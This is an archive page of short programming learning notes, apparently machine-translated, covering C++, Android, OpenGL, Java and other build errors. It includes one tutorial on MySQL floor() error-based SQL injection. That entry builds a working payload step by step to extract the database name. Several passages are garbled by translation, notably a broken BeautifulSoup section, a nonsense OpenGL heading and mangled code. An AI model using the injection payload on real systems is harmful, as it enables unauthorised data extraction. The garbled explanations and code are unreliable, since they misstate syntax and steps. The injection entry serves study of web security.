Tag Archives: Learning notes

C++ Primer Program in VsCode error: no match for call to ‘(std::__cxx11::string…)

In the original file, total. Isbn() = = trans. Isbn() will report an error in vscode, “unable to match the call error”
compile. CPP: 12:37: error: no match for call to ‘(STD:: _cxx11:: String
{aka STD:: _cxx11:: basic_string}) ()’
if (total. Isbn() = = trans. Isbn())
solution: remove the brackets after. Isbn() and change the primitive sentence to

if (total.isbn==trans.isbn)

The reason is that ISBN should be a parameter value rather than a method, or it may be caused by my environment. It is for reference only.

#include <iostream>

#include"Sales_item.h"
int main(){
   Sales_item total;
   if (std::cin>>total)
   {Sales_item trans;
   while (std::cin>>trans)
   {
       if (total.isbn()==trans.isbn())
            total+=trans;
        else
        {
       std::cout<<total<<std::endl;
       total=trans;
        }
   
     
   }
   
    std::cout<<total<<std::endl;
   }
   else{
       std::cerr<<"NO Data?!"<<std::endl;
       return -1;
   }
   return 0;
    
}

Android Error: Android resource linking failed [How to Solve]

Problems encountered during compilation during development:

Android resource linking failed

Output:  error: resource style/Theme.AppCompat.Light.DarkActionBar (aka com.hp.sortfilebysize:style/Theme.AppCompat.Light.DarkActionBar) not found.

E:\ASWorkSpace\SortFileBySize\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:9: error: style attribute 'attr/colorPrimary (aka com.hp.sortfilebysize:attr/colorPrimary)' not found.

E:\ASWorkSpace\SortFileBySize\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:10: error: style attribute 'attr/colorPrimaryDark (aka com.hp.sortfilebysize:attr/colorPrimaryDark)' not found.

E:\ASWorkSpace\SortFileBySize\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:11: error: style attribute 'attr/colorAccent (aka com.hp.sortfilebysize:attr/colorAccent)' not found.

error: failed linking references.

Command: C:\Users\tangdekun\.gradle\caches\transforms-1\files-1.1\aapt2-3.2.0-beta03-4818971-windows.jar\868db5e9c484c628dee78cdbe6877651\aapt2-3.2.0-beta03-4818971-windows\aapt2.exe link -I\

        N:\ProgramFiles\android\sdk\platforms\android-28\android.jar\

        --manifest\

        E:\ASWorkSpace\SortFileBySize\app\build\intermediates\merged_manifests\debug\processDebugManifest\merged\AndroidManifest.xml\

        -o\

        E:\ASWorkSpace\SortFileBySize\app\build\intermediates\processed_res\debug\processDebugResources\out\resources-debug.ap_\

        -R\

        @E:\ASWorkSpace\SortFileBySize\app\build\intermediates\incremental\processDebugResources\resources-list-for-resources-debug.ap_.txt\

        --auto-add-overlay\

        --java\

        E:\ASWorkSpace\SortFileBySize\app\build\generated\not_namespaced_r_class_sources\debug\processDebugResources\r\

        --custom-package\

        com.hp.sortfilebysize\

        -0\

        apk\

        --output-text-symbols\

        E:\ASWorkSpace\SortFileBySize\app\build\intermediates\symbols\debug\R.txt\

        --no-version-vectors

For errors like this, you have tried to add “implementation ‘Android x.appcompat: appcompat: 1.0.0-alpha1’, but it still fails. You can try the following method to solve it

Enter caches under. Gradle

Delete transform-1 and restart Android studio (file → invalidate caches/restart → invalidate caches and restart)

After BS4, select was used to locate

soup>
soup>
soup>
soup>
soup>
soup>
soup>
soup>
soup

The elements of the

soup. Select (‘ #author ‘) from author

soup.select(‘.notice ‘

soup. Select (‘ div span)

Between the

soup. Select (‘ div> Span ‘)

Between the
Select (‘ input[type= ‘button’] ‘) from
soup.
soup.
soup

About adding legacy to linker additional dependencies_ stdio_ definitions.lib Solve the problem of incomplete standard library files

The C ++ file of VS2013 was reloaded with VS2017. The following problem was found
Error LNK2019 cannot resolve external symbol __imp__vsnprintf, which is referenced in the function __glfwinpuError
Error LNK2019 __imp__sscanf cannot resolve external symbols, the symbol referenced in the function __glfwRefreshContextAttribs
Method 1: Find a project in the VS2017 solution -> Properties in the linker ->;
> write #pragma comment(” legacy_stdio_defines.lib “) at the beginning of the startup file.
The reason for this problem is that many libraries are inline by default when VS2017 is compiled, so there are no library files to link to, so you have to specifically add library files to link to functions in the library
Attached link:
https://stackoverflow.com/questions/29556290/random-unresolved-external-symbols-that-shouldnt-be-there

Learning notes — opengl01

 
The first lesson
1.1 Simple OpenGL program contains:
First, you need to include the header file #include <; GL/glut.h> So this is the header file for GLUT. OpenGL programs typically include <; GL/gl.h> And & lt; GL/glu.h> , but both files are automatically included in the GLUT header file and do not need to be included again.   The functions that begin with GLUT are all functions provided by the GLUT toolkit. Here are some of the functions used: Glutinit initializes GLUT. This function must be called once before another GLUT is used. Glutinit (& Arg C, Arg V. 2, GLUTINITDISPLAYMODE, set the display mode, where GLUT_RGB means to use the RGB color, and GLUT_INDEX (means to use the index color). GLUT_single means to use a single buffer, as does GLUT_DOUBLE (to use a double buffer). GlutinitWindowPosition, which is simple, sets the position of the window on the screen. 4, GlutinitWindowSize, this is also easy, set the window size. 5, GlutCreateWindow, create a window based on the information set above. Parameters will be used as the title of the window. Note: The window is not immediately displayed on the screen after it is created. You need to call glutMainLoop to see the window. 6. GlutdisplayFunc, which sets a function that will be called when a drawing is needed. (This statement is not accurate, but the accurate statement may not be easy for beginners to understand, so say for the time being). 7. GlutMainLoop, which runs a message loop. (This may not be obvious to beginners, but for now it is enough to know that this function displays a window and waits for the window to close before returning.)   All the functions that start with GL are standard OpenGL functions, and the ones that are used are described below. 1, Glclear. GL_Color_BUFFER_BIT clears the color, and glClear clears other things, but I won't cover them here. 2, Glrectf, draw a rectangle. The four parameters represent the horizontal and vertical coordinates of the two points located on the diagonal. Glflush ensures that previous OpenGL commands are executed immediately (rather than having them wait in the buffer). It works similarly to fflush(stdout).   The second lesson 2.1 Draw simple geometric shapes Dots: Dots in OpenGL will be drawn as individual pixels Straight lines: OpenGL's concept of a "line" is close to the mathematical concept of a "line segment," which can be defined by two endpoints. Polygon: A polygon must be a "convex polygon" (defined as: any two points in a polygon are within the polygon, from which it can also be deduced that a convex polygon cannot be hollow), usually triangular By using points, lines and polygons, you can combine various geometric figures   2.2 Specify vertices OpenGL provides a number of functions. They all start with glVertex, followed by a number and one or two letters. Such as: GLVERTEX2D GLVERTEX2F GLVERTEX3F GLVERTEX3FV and so on. The number means the number of arguments, 2 means there are two arguments, 3 means three, and 4 means four. Letters parameter type, s 16-bit integers (due to the type defined as GLshort OpenGL), I said a 32-bit integer (OpenGL in this type is defined as the GLint and GLsizei), f is a 32-bit floating point Numbers (due to the type defined as GLfloat OpenGL and GLclampf), d said 64 floating point Numbers (due to the type defined as GLdouble OpenGL and GLclampd). V indicates that several parameters will be passed using Pointers   2.3 Start drawing OpenGL requires that the command specifying the vertex be included after glBegin and before glEnd (otherwise the specified vertex will be ignored). GlBegin is left to indicate how to use these points. Such as: glBegin(GL_POINTS); GlVertex2f (0.0 0.0 f, f); GlVertex2f (0.0 0.5 f, f); glEnd(); Then these two points will be drawn separately. If you replace GL_POINTS with GL_LINES, then the two points will be considered to be the two endpoints of the line, and OpenGL will draw a line. You can also specify more vertices and then draw more complex shapes. GL_POINTS, GL_LINES, GL_LINE_STRIP, GL_LINE_LOOP, GL_TRIANGLES, GL_TRIANGLE_STRIP, GL_TRIANGLE_FAN, etc. (See Figure 1) The third class 3.1 about the point Point size: Default value is 1.0F, function prototype void glpointSize (GLFloat Size); Example: void myDisplay(void) { glClear(GL_COLOR_BUFFER_BIT); GlPointSize (5.0 f); GlBegin (GL_POINTS); ... GlEnd (); glFlush(); } 3.2 About Straight Lines 3.2.1 Line width Function prototype void gllineWidth (glFloat Width); The usage is similar to glpointSize. 3.2.2 dotted line First, use glEnable(GL_LINE_STIPPLE); To start the dotted line mode (use glDisable(GL_LINE_STIPPLE) to turn it off). Then, use glLineStipple to set the style of the dotted line. void glLineStipple(GLint factor, GLushort pattern); Pattern is a sequence of length 16 composed of 1 and 0. Viewed from the lowest position, if it is 1, then factor points that should be drawn next on the line will be drawn as solid. If 0, then factor points that should be drawn next on the line will be drawn as virtual. 3.3 About polygons 3.3.1 Both sides of polygons and their drawing methods Although we haven't really used 3D coordinates to draw a picture yet, it is necessary to establish some 3D concepts. In three dimensions, a polygon has two faces. Each face can be drawn in a different way: fill, draw only edges, and draw only vertices, with fill being the default. You can set the two faces in different ways. glPolygonMode(GL_FRONT, GL_FILL); // Set front to fill mode glPolygonMode(GL_BACK, GL_LINE); GlPolygonMode (GL_FRONT_AND_BACK, GL_POINT); glPolygonMode(gl_front, GL_POINT); // Set both sides to vertices 3.3.2 rainfall distribution on 10-12 inversion The convention is that the face whose vertices appear counterclockwise on the screen is "heads" and the other face is "tails". Common surfaces in life can usually be represented with such "heads" and "tails" as "reasonable". But there are some surfaces that are special. For example, a "Maibius strip" can be represented with either all "heads" or all "tails". You can exchange the concepts of "heads" and "tails" through the glFrontFace function. glFrontFace(GL_CCW); // Set the CCW direction to "Front", CCW is Counterclockwise Glfrontface (GL_CW); // Set the CW direction to "Front", CW is ClockWise * There is routine openGL4 3.3.3 Remove polygonal surfaces In three dimensional space, a polygon has two faces, but we can't see the polygons on the back, and some of the polygons are on the front, but are obscured by other polygons. Treating invisible polygons the same as visible polygons will definitely reduce the efficiency of our graphics processing. At times like this, you can cut out unnecessary surfaces. First, use glEnable(GL_CULL_FACE); To enable culling (disable using glDisable(GL_CULL_FACE)), then use glCullFace to cull. The parameter of glCullFace can be GL_FRONT, GL_BACK, or GL_FRONT_AND_BACK, which are polygons that remove the front, back, and back sides, respectively. Note: the cull function only affects polygons, not points and lines. For example, with glCullFace(GL_FRONT_AND_BACK), all polygons are removed so that only points and lines are visible. 3.3.4 Hollow out polygon Straight lines can be drawn as dotted lines, while polygons can be hollowed out. First, use glEnable(GL_POLYGON_STIPPLE); To start the hollowout mode (which can be turned off with glDisable(GL_POLYGON_STIPPLE)). Then, use glPolygonStipple to set the hollow out style. void glPolygonStipple(const GLubyte *mask); The mask parameter points to a space of 128 bytes, which indicates how a 32 by 32 rectangle should be hollow out. Where: The first byte indicates whether the 8 pixels at the bottom left are hollow (1 means no hollow, showing the pixel; 0 indicates hollowout, showing the color behind it), and the last byte indicates whether the top right eight pixels are hollowout or not. If such data is saved as a picture and edited with a special tool, it is obviously much more convenient. Here's how to do it. First, create a new image using the Windows Brush program and name it mask.bmp. Make sure to save it with "Monochrome Bitmap" selected. In "Image" -> In the Properties dialog box, set the height and width of the image to 32. Look at the picture with a magnifying glass and edit it. Black corresponds to binary zero (hollow out), white corresponds to binary one (no hollow out), after editing saved. You can then use the following code to get the Mask array.
static GLubyte Mask[128];
FILE *fp; fp = fopen(“mask.bmp”, “rb”);
if( ! fp ) exit(0);
// Move the file pointer to this position so that reading sizeof(Mask) will encounter the end of the file
// Note that -(int)sizeof(Mask) is not a good way to write it, but it does work here, right
If (fseek(fp, -(int)sizeof(Mask), SEEK_END) exit(0); if(fseek(fp, -(int)sizeof(Mask), SEEK_END) exit(0);
// Read the sizeof(Mask) bytes into the Mask
if( ! fread(Mask, sizeof(Mask), 1, fp) )
exit(0);
fclose(fp);
 
Edit an image as a mask, and use the above method to get the array of masks. After running, observe the effect. Note: The factor factor can be set when drawing a dashed line, but the factor factor cannot be set when drawing a hollow polygon. Please use the mouse to change the size of the window, observe the change of the hollowout effect.
* There is routine openGL5

Floor() error injection

Floor () error injection is exactly floor,count,group by conflict error
Is an error that occurs when these three functions are used together in a particular situation.
First look at the classic FLOOR injection statement:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
At first glance, it may seem overwhelming, but let’s start with the basics and analyze the statement at the end
The first is the condition under which the floor() error is generated:
Select count(*),floor(rand(0)*2)x from secure.users group by x select count(*),floor(rand(0)*2)x from secure.users group by x
Floor (RAND (0)*2)x = floor(RAND (0)*2)x = floor(RAND (0)*2)x = floor(RAND (0)*2
Let group by meet floor(rand(0)*2) (if you’ll excuse me),
The specific principle will not be analyzed here, and a few principle explanation links will be attached at the end.
First look at the direct execution effect:

The Duplocate Entry error here is exactly what we want. The error location is on the floor(RAND (0)*2), and the 1 is determined by the error principle. After all, we haven’t written any of the subqueries we want.
Next we add the desired subquery to the error location, concatenating it with concat() :
select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x

Security is the database name we want, 1 is the concatenation from the previous step.
But is it possible to use it directly now?Let’s see what happens when we concatenate it directly into and:
select * from security.users where id=1 and (select count(*) ,concat(database(),floor(rand(0)*2)x) from security.users group by x)

To a fault, baidu found a cause for this error a lot, I am here think we build the result of a select statement is a result table, while the and need a Boolean value, that is, the value of the zero or non-zero, that we are in a nested query, said the result is a result of the select in front of the table, that we can again from this table to execute queries, but this time the select this value is zero number:
select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a
Again, this last “a” does exactly the same thing as the “x” we explained earlier, which is an alias for the parentheses,
SQL statements require that an alias name be given when a query is executed based on the result of the query.
Execute after nested into AND
select * from security.users where id=1 and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)

You’re done
We have completed the floo() injection statement we introduced at the beginning
 
Several fool() principles explained:
https://www.cnblogs.com/xdans/p/5412468.html
https://www.cnblogs.com/litlife/p/8472323.html
http://www.cnblogs.com/xishaonian/p/6227405.html
Referral to indicate source
Sync to my blog: http://119.23.249.120/archives/276

Clion compiles and runs a single C / cpp file

C/CPP is all right, but you need to create a new project first. You can only have one main at a time, so you need to be able to let it compile and execute a single file
Installing a plug-in

in the Settings to find the plug-in installation, after the completion of the open folder, you first create a new Cmakelist files, and right click on the need to perform the c file

choose the bottom of the add, you will see the main function on the left side of a small arrow, direct execution

How do I change the default background color of all FIGURE objects created in MATLAB

A list of factory-defined graphics settings that can be manipulated can be obtained by executing this command at the MATLAB prompt:
 
get(0,’Factory’)
To set the default color for all graphics objects, the ‘defaultfigurecolor’ property of the ROOT graphics object needs to be defined as follows:
 
set(0,’defaultfigurecolor’,[1 1 1])
Once the property is set, all succesive figures created will inherit this property from the ROOT graphics object.
More information on setting default color properties for handle graphics objects can be found here:
 
<http://www.mathworks.com/access/helpdesk/help/techdoc/index.html?/access/helpdesk/help/techdoc/creating_plots/f7-21465.html

Syntax error near in Verilog?

There is an inexplicable error when writing the code while learning FPGA, syntax Error near?In any case, I did not find out what the error was. Later, I found that there was an error in the input in Chinese and English. The colon “:” should have been in English, but I typed the colon “:” in Chinese.
is ok after modification.

Java learning error information 3 — Java notes

Java common error messages and solutions

compile error

common compile error on Windows

‘javac’ is not recognized as an internal or external command, operable program or batch file.

this prompt indicates that the Windows system cannot find the compiler (compiler).

solution: (suppose the JDK installation location is C:\jdk1.7.0)

1. Include the JDK installation path on the command line;

& gt; C: \ jdk1.7.0 \ bin \ javac HelloWorldApp. Java

by default, the compiler (javac) is in the bin folder under the JDK installation path.

2. Include the JDK installation path in the Windows environment variable.

1) Start & gt; Control Panel > System > Advanced > Environment Variables;
(start > Control panel & GT; System & gt; Advanced system Setup & GT; Environment variables…) 2) add the bin PATH under the installed JDK to the PATH variable and remember to add the semicolon (;) .

PATH variable has a value of: < The end of the original PATH value & GT; ; C: \ jdk1.7.0 \ bin
After adding the PATH variable
, you can use the compiler (javac) directly from the command line without entering the PATH where the compiler is located.

Class names, “HelloWorldApp”, are only accepted if annotation processing is explicitly requested

found this prompt at compile time, indicating that the.java suffix was not added at compile time. The command to compile the Java file is Javac HelloWorldApp.java instead of Javac HelloWorldApp.

UNIX system common compile error

javac: Command not found

this prompt indicates that the compiler (javac) cannot be found for UNIX systems.

solution :(assume JDK installation location is /usr/local/jdk1.7.0)

1. Include the JDK installation path on the command line;

/usr/local/jdk1.7.0/javac HelloWorldApp. Java

is mainly where the compiler (javac) is added.
2. Modify the system PATH variable.

needs to be modified according to the Shell used, and different Shell modification methods are different.

Class name, ‘HelloWorldApp’, are only accepted if annotation processing is explicitly requested

this prompt is the same as in Windows, indicating that the filename on the command line was not added when compiling the file. Java suffix.

syntax Errors (all platforms) – Synatx Errors

the compiler displays a syntax error message when there is a typo in the program source file. The error message contains the file name of the error, line number, error type, error line code, and error code location.

as the following error message:

testing.java:14:’; ‘ expected.

System.out.println(“Input has ” + count + ” chars.”)

^

1 error

error file name: testing. Java

error line number: line 14

error message: semicolon (;) required

error line: system.out.println (“Input has “+ count +” chars.”)

error location: ^ indicates location, end of error code

error number: 1

multiple error messages are given if the compiler cannot accurately locate the error due to indenting, block scope, missing semicolon, etc.

any compilation error will indicate that the compilation was unsuccessful and the.class file will not be generated. You need to find and fix all compilation errors, and then recompile.

semantic error
In addition to checking the syntax, the
compiler also checks the underlying semantics, such as undefined variables, objects not instantiated being used directly, and so on.

runtime error

runtime error message on Windows/UNIX systems

Exception in thread “main” java.lang.NoClassDefFoundError: HellowWorldApp
An error above
indicates that the initiator program (Java) did not find a bytecode file (.class) that could be executed. By default, the Java launcher looks for the.class file that has been started in the current directory. You need to switch the current working directory to the directory containing the target.class file and execute Java HelloWorldApp again.

Could not find or load main class HelloWorldApp.class
The error message above
indicates that Java helloworldapp.class was executed. On the command line, the Java command should be followed by the required class name, not the.clAS file name. The correct execution is Java HelloWorldApp.

Exception in thread “main” java.lang.NoSuchMethodError:main
The error message above
indicates that the class being used does not contain a main function. The Java virtual machine requires that classes executed by Java commands contain a main function.

Ref: http://docs.oracle.com/javase/tutorial/getStarted/problems/index.html